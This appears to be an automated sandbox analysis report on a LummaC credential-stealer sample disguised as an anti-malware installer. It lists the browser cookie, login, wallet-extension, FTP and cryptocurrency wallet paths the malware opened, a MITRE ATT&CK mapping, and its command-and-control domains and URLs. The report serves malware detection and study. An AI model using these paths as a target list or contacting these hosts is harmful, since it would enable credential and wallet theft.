Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6204, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
anti-malware-setup.exe	72%	Virustotal		Browse
anti-malware-setup.exe	71%	ReversingLabs	Win32.Spyware.Lummastealer

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://api.steamp	0%	Avira URL Cloud	safe
https://sputnik-1985.com/v	100%	Avira URL Cloud	malware
https://sputnik-1985.com/api	100%	Avira URL Cloud	malware
https://sputnik-1985.com/~	100%	Avira URL Cloud	malware
https://community.fastly.steamstatic.com~T	0%	Avira URL Cloud	safe
https://store.steampower	0%	Avira URL Cloud	safe
https://store.st1T	0%	Avira URL Cloud	safe
https://sputnik-1985.com/	100%	Avira URL Cloud	malware
enterwahsh.biz	100%	Avira URL Cloud	malware
https://login.sbZ	0%	Avira URL Cloud	safe
https://checkout.steampownZ	0%	Avira URL Cloud	safe
https://sputnik-1985.com/apiate	100%	Avira URL Cloud	malware
https://sketchfab.0Z	0%	Avira URL Cloud	safe
https://help.st~Z	0%	Avira URL Cloud	safe
https://api.steAT	0%	Avira URL Cloud	safe
https://sputnik-1985.com:443/api	100%	Avira URL Cloud	malware
https://cdn.fastly.steamFT	0%	Avira URL Cloud	safe
https://sputnik-1985.com/U70	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
sputnik-1985.com	104.21.48.1	true	false	high
53.210.109.20.in-addr.arpa	unknown	unknown	true	unknown
wordyfindy.lat	unknown	unknown	false	high
slipperyloo.lat	unknown	unknown	false	high
curverpluch.lat	unknown	unknown	false	high
tentabatte.lat	unknown	unknown	false	high
manyrestro.lat	unknown	unknown	false	high
bashfulacid.lat	unknown	unknown	false	high
198.187.3.20.in-addr.arpa	unknown	unknown	false	high
shapestickyr.lat	unknown	unknown	false	high
enterwahsh.biz	unknown	unknown	true	unknown
talkynicer.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
slipperyloo.lat	false		high
https://sputnik-1985.com/api	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	false		high
enterwahsh.biz	true	Avira URL Cloud: malware	unknown
curverpluch.lat	false		high
tentabatte.lat	false		high
manyrestro.lat	false		high
bashfulacid.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steamp	BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/subscriber_agreement/	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.	BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/~	BitLockerToGo.exe, 00000003.00000003.2454654141.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432642292.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2454541108.00000000034EE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2444465530.00000000034FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2455429001.00000000034F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.valvesoftware.com/legal.htm	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	false		high
